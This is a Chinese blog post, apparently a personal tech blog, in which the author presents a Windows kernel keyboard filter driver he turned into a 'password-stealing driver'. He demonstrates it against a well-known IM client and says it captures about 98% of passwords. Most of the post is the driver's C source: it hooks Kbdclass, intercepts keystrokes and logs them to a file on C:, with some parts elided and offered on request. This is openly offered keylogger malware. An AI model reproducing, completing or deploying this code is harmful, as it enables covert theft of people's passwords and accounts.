今天下午没有事做,把暑假回家写的键盘过滤驱动改进成,密码盗窃驱动。
可以盗窃目前98%的网页,程序,游戏的密码。
今天我来演示盗窃某著名IM软件密码,把密码保存在C盘下zhuruinan.txt文本文件里
通过加载zhusjm.sys过滤驱动,我们可以得到输入的密码。
通过DebugView查看我们的驱动输出信息
-----------------------------------------------------------------------------------------------------------------------------------
过滤驱动核心代码 (里面。。。。部分为省略部分,可以问本人)
#include <ntddk.h>
#include <ntddkbd.h>#define KBD_DRIVER_NAME L"\\Driver\\Kbdclass" //把我们的设备绑定到这个驱动之上
UNICODE_STRING uni_DosName;
ANSI_STRING ansi_FileName;
LARGE_INTEGER numm;
HANDLE hfile;
IO_STATUS_BLOCK zhuruinan;
OBJECT_ATTRIBUTES sjm;
UNICODE_STRING make;
LONG we=1;typedef struct zhuruinan
{
// 这个结构的大小
ULONG NodeSize;
// 过滤设备对象
PDEVICE_OBJECT pFilterDeviceObject;
// 同时调用时的保护锁
KSPIN_LOCK IoRequestsSpinLock; KEVENT IoInProgressEvent;
// 绑定的设备对象
PDEVICE_OBJECT TargetDeviceObject;
// 绑定前底层设备对象
PDEVICE_OBJECT LowerDeviceObject;
} KEY_ZHU_SJM, *PKEY_ZHU_SJM;NTSTATUS writyu( IN PKEY_ZHU_SJM devExt,IN PDEVICE_OBJECT pFilterDeviceObject, IN PDEVICE_OBJECT pTargetDeviceObject,IN PDEVICE_OBJECT pLowerDeviceObject )
{
memset(devExt, 0, sizeof(KEY_ZHU_SJM));
devExt->NodeSize = sizeof(KEY_ZHU_SJM);
devExt->pFilterDeviceObject = pFilterDeviceObject;
KeInitializeSpinLock(&(devExt->IoRequestsSpinLock));
KeInitializeEvent(&(devExt->IoInProgressEvent), NotificationEvent, FALSE);
devExt->TargetDeviceObject = pTargetDeviceObject;
devExt->LowerDeviceObject = pLowerDeviceObject;
return( STATUS_SUCCESS );
}NTSTATUS ObReferenceObjectByName( //通过这个未公开函数获取系统键盘设备驱动Kbdclass的指针
PUNICODE_STRING ObjectName,
ULONG Attributes,
PACCESS_STATE AccessState,
ACCESS_MASK DesiredAccess,
POBJECT_TYPE ObjectType,
KPROCESSOR_MODE AccessMode,
PVOID ParseContext,
PVOID *Object
);extern POBJECT_TYPE IoDriverObjectType;
ULONG keynumber = 0;#define DELAY_ONE_MICROSECOND (-10)
#define DELAY_ONE_MILLISECOND (DELAY_ONE_MICROSECOND*1000)
#define DELAY_ONE_SECOND (DELAY_ONE_MILLISECOND*1000)
VOID Delmekey(IN PDEVICE_OBJECT pDeviceObject)
{
PKEY_ZHU_SJM devExt;
BOOLEAN NoRequestsOutstanding = FALSE;
devExt = (PKEY_ZHU_SJM)pDeviceObject->DeviceExtension;
__try
{
__try
{
IoDetachDevice(devExt->TargetDeviceObject);
devExt->TargetDeviceObject = NULL;
IoDeleteDevice(pDeviceObject);
devExt->pFilterDeviceObject = NULL;
}
__except (EXCEPTION_EXECUTE_HANDLER){}
}
__finally{}
return;
}VOID zhukep()
{
ZwOpenFile(&hfile,
GENERIC_ALL,
&sjm,
&zhuruinan,
FILE_SHARE_READ|FILE_SHARE_WRITE,
FILE_SYNCHRONOUS_IO_NONALERT);
ZwWriteFile(hfile,
NULL,
NULL,
NULL,
&zhuruinan,
。。。。。。。。。。。。。。
。。。。。。。。。。。。。。
NULL);
ZwClose(hfile);
。。。。。。。。。。。。。
return;}
VOID Unload(IN PDRIVER_OBJECT DriverObject)
{
PDEVICE_OBJECT DeviceObject;
PDEVICE_OBJECT OldDeviceObject;
PKEY_ZHU_SJM devExt; LARGE_INTEGER lDelay;
PRKTHREAD CurrentThread;
lDelay = RtlConvertLongToLargeInteger(100 * DELAY_ONE_MILLISECOND);
CurrentThread = KeGetCurrentThread();
// 把当前线程设置为低实时模式。
KeSetPriorityThread(CurrentThread, LOW_REALTIME_PRIORITY); UNREFERENCED_PARAMETER(DriverObject);
// 遍历所有设备并一律解除绑定
DeviceObject = DriverObject->DeviceObject;
while (DeviceObject)
{
// 解除绑定并删除所有的设备
Delmekey(DeviceObject);
DeviceObject = DeviceObject->NextDevice;
}
ASSERT(NULL == DriverObject->DeviceObject); while (keynumber)
{
KeDelayExecutionThread(KernelMode, FALSE, &lDelay);
} KdPrint(("Key is Unload.\n"));
return;
}
NTSTATUS
adddriver( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath )
{
NTSTATUS status = 0;
UNICODE_STRING uniNtNameString;
PKEY_ZHU_SJM devExt;
PDEVICE_OBJECT pFilterDeviceObject = NULL;
PDEVICE_OBJECT pTargetDeviceObject = NULL;
PDEVICE_OBJECT pLowerDeviceObject = NULL; PDRIVER_OBJECT KbdDriverObject = NULL;
// 初始化一个字符串,就是Kdbclass驱动的名字。
RtlInitUnicodeString(&uniNtNameString, KBD_DRIVER_NAME);
// 请参照前面打开设备对象的例子。只是这里打开的是驱动对象。
status = ObReferenceObjectByName (
&uniNtNameString,
OBJ_CASE_INSENSITIVE,
NULL,
0,
IoDriverObjectType,
KernelMode,
NULL,
&KbdDriverObject
);
// 如果失败了就直接返回
if(!NT_SUCCESS(status))
{
return( status );
}
else
{
// 这个打开需要解应用。早点解除了免得之后忘记。
ObDereferenceObject(DriverObject);
} // 这是设备链中的第一个设备
pTargetDeviceObject = KbdDriverObject->DeviceObject;
// 现在开始遍历这个设备链
while (pTargetDeviceObject)
{
// 生成一个过滤设备,这是前面读者学习过的。这里的IN宏和OUT宏都是
// 空宏,只有标志性意义,表明这个参数是一个输入或者输出参数。
status = IoCreateDevice(
IN DriverObject,
IN sizeof(KEY_ZHU_SJM),
IN NULL,
IN pTargetDeviceObject->DeviceType,
IN pTargetDeviceObject->Characteristics,
IN FALSE,
OUT &pFilterDeviceObject
); // 如果失败了就直接退出。
if (!NT_SUCCESS(status))
{
return (status);
} // 绑定。pLowerDeviceObject是绑定之后得到的下一个设备。也就是
// 前面常常说的所谓真实设备。
pLowerDeviceObject =IoAttachDeviceToDeviceStack(pFilterDeviceObject, pTargetDeviceObject);
// 如果绑定失败了,放弃之前的操作,退出。
if(!pLowerDeviceObject)
{
IoDeleteDevice(pFilterDeviceObject);
pFilterDeviceObject = NULL;
return( status );
} // 设备扩展!下面要详细讲述设备扩展的应用。
devExt = (PKEY_ZHU_SJM)(pFilterDeviceObject->DeviceExtension);
writyu(devExt, pFilterDeviceObject, pTargetDeviceObject,pLowerDeviceObject );
// 下面的操作和前面过滤串口的操作基本一致。这里不再解释了。
pFilterDeviceObject->DeviceType=pLowerDeviceObject->DeviceType;
pFilterDeviceObject->Characteristics=pLowerDeviceObject->Characteristics;
pFilterDeviceObject->StackSize=pLowerDeviceObject->StackSize+1;
pFilterDeviceObject->Flags |= pLowerDeviceObject->Flags & (DO_BUFFERED_IO | DO_DIRECT_IO | DO_POWER_PAGABLE) ; pTargetDeviceObject = pTargetDeviceObject->NextDevice;
}
return status;
}
NTSTATUS sjmmake( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
// 其他IRP请求,用IoCallDriver把IRP发送到真实设备
IoSkipCurrentIrpStackLocation(Irp);
return IoCallDriver(((PKEY_ZHU_SJM)DeviceObject->DeviceExtension)->LowerDeviceObject, Irp);
}
NTSTATUS zhumake( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
PKEY_ZHU_SJM devExt;
devExt =(PKEY_ZHU_SJM)DeviceObject->DeviceExtension;
PoStartNextPowerIrp( Irp );
IoSkipCurrentIrpStackLocation( Irp );
return PoCallDriver(devExt->LowerDeviceObject, Irp );
}
NTSTATUS getkey( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)
{
PIO_STACK_LOCATION IrpSp;
ULONG buf_len = 0;
PUCHAR buf = NULL;
size_t i,numKeys;
PKEYBOARD_INPUT_DATA KeyData;
IrpSp = IoGetCurrentIrpStackLocation( Irp ); if( NT_SUCCESS( Irp->IoStatus.Status ) )
{
// 获得读请求完成后输出的缓冲区
buf = Irp->AssociatedIrp.SystemBuffer;
KeyData = (PKEYBOARD_INPUT_DATA)buf;
// 获得这个缓冲区的长度。
buf_len = Irp->IoStatus.Information;
numKeys = buf_len / sizeof(KEYBOARD_INPUT_DATA);
for(i=0;i<numKeys;++i)
{
if(KeyData->Flags)
{
if( KeyData->MakeCode==2)
{
DbgPrint("1");
RtlInitUnicodeString(&uni_DosName,L"1");
}
if( KeyData->MakeCode==3)
{
DbgPrint("2");
RtlInitUnicodeString(&uni_DosName,L"2");
}
if( KeyData->MakeCode==4)
{
DbgPrint("3");
RtlInitUnicodeString(&uni_DosName,L"3");
}
if( KeyData->MakeCode==5)
{
DbgPrint("4");
RtlInitUnicodeString(&uni_DosName,L"4"); }
if( KeyData->MakeCode==6)
{
DbgPrint("5");
RtlInitUnicodeString(&uni_DosName,L"5"); }
if( KeyData->MakeCode==7)
{
DbgPrint("6");
RtlInitUnicodeString(&uni_DosName,L"6");
}
if( KeyData->MakeCode==8)
{
DbgPrint("7");
RtlInitUnicodeString(&uni_DosName,L"7"); }
if( KeyData->MakeCode==9)
{
DbgPrint("8");
RtlInitUnicodeString(&uni_DosName,L"8"); }
if( KeyData->MakeCode==10)
{
DbgPrint("9");
RtlInitUnicodeString(&uni_DosName,L"9"); }
if( KeyData->MakeCode==11)
{
DbgPrint("0");
RtlInitUnicodeString(&uni_DosName,L"0"); }
if( KeyData->MakeCode==12)
{
DbgPrint("-");
RtlInitUnicodeString(&uni_DosName,L"-");
} if( KeyData->MakeCode==13)
{
DbgPrint("+");
RtlInitUnicodeString(&uni_DosName,L"+");
} if( KeyData->MakeCode==14)
{
DbgPrint("<-");
RtlInitUnicodeString(&uni_DosName,L"<-"); }
if( KeyData->MakeCode==15)
{
DbgPrint("Tab");
RtlInitUnicodeString(&uni_DosName,L"Tab");
}
if( KeyData->MakeCode==16)
{
DbgPrint("Q");
RtlInitUnicodeString(&uni_DosName,L"Q");
}
if( KeyData->MakeCode==17)
{
DbgPrint("W");
RtlInitUnicodeString(&uni_DosName,L"W");
}
if( KeyData->MakeCode==18)
{
DbgPrint("E");
RtlInitUnicodeString(&uni_DosName,L"E");
}
if( KeyData->MakeCode==19)
{
DbgPrint("R");
RtlInitUnicodeString(&uni_DosName,L"R");
}
if( KeyData->MakeCode==20)
{
DbgPrint("T");
RtlInitUnicodeString(&uni_DosName,L"T");
}
if( KeyData->MakeCode==21)
{
DbgPrint("Y");
RtlInitUnicodeString(&uni_DosName,L"Y");
}
if( KeyData->MakeCode==22)
{
DbgPrint("U");
RtlInitUnicodeString(&uni_DosName,L"U");
}
if( KeyData->MakeCode==23)
{
DbgPrint("I");
RtlInitUnicodeString(&uni_DosName,L"I");
}
if( KeyData->MakeCode==24)
{
DbgPrint("O");
RtlInitUnicodeString(&uni_DosName,L"O");
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
if( KeyData->MakeCode==83)
{
DbgPrint(".");
RtlInitUnicodeString(&uni_DosName,L".");
}
we=1;
RtlUnicodeStringToAnsiString(&ansi_FileName,&uni_DosName,TRUE);
} }
} keynumber--;
if( Irp->PendingReturned )
{
IoMarkIrpPending( Irp );
}
return Irp->IoStatus.Status;
}
NTSTATUS keylook( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
NTSTATUS status = STATUS_SUCCESS;
PKEY_ZHU_SJM devExt;
PIO_STACK_LOCATION currentIrpStack;
KEVENT waitEvent;
KeInitializeEvent( &waitEvent, NotificationEvent, FALSE ); if (Irp->CurrentLocation == 1)
{
ULONG ReturnedInformation = 0;
status = STATUS_INVALID_DEVICE_REQUEST;
Irp->IoStatus.Status = status;
Irp->IoStatus.Information = ReturnedInformation;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return(status);
} // 全局变量键计数器加1
keynumber++;
// 得到设备扩展。目的是之后为了获得下一个设备的指针。
devExt =(PKEY_ZHU_SJM)DeviceObject->DeviceExtension;
// 设置回调函数并把IRP传递下去。 之后读的处理也就结束了。
currentIrpStack = IoGetCurrentIrpStackLocation(Irp);
IoCopyCurrentIrpStackLocationToNext(Irp);
IoSetCompletionRoutine( Irp,getkey,DeviceObject, TRUE, TRUE, TRUE );
。。。。。。 。。。。。。
return IoCallDriver( devExt->LowerDeviceObject, Irp );
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath )
{
ULONG i;
NTSTATUS status; // 填写所有的分发函数的指针
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
DriverObject->MajorFunction = sjmmake;
}
//写一个IRP_MJ_POWER函数。这是因为这类请求中间要调用
DriverObject->MajorFunction [IRP_MJ_POWER] = zhumake;
//写一个Read分发函数,因为要的过滤就是读取来的按键信息
DriverObject->MajorFunction[IRP_MJ_READ] =keylook; // 卸载函数。
DriverObject->DriverUnload =Unload;
// 绑定所有键盘设备
status =adddriver(DriverObject, RegistryPath);
numm.QuadPart=1; RtlInitUnicodeString(&make,L"\\??\\C:\\zhuruinan.TXT");
InitializeObjectAttributes(&sjm,&make,OBJ_CASE_INSENSITIVE,NULL,NULL); 。。。。。。。。。。。。。
。。。。。。。。。。。。。
return status;
}
http://hi.baidu.com/zhutas/blog/item/a7db561c83daa98187d6b691.html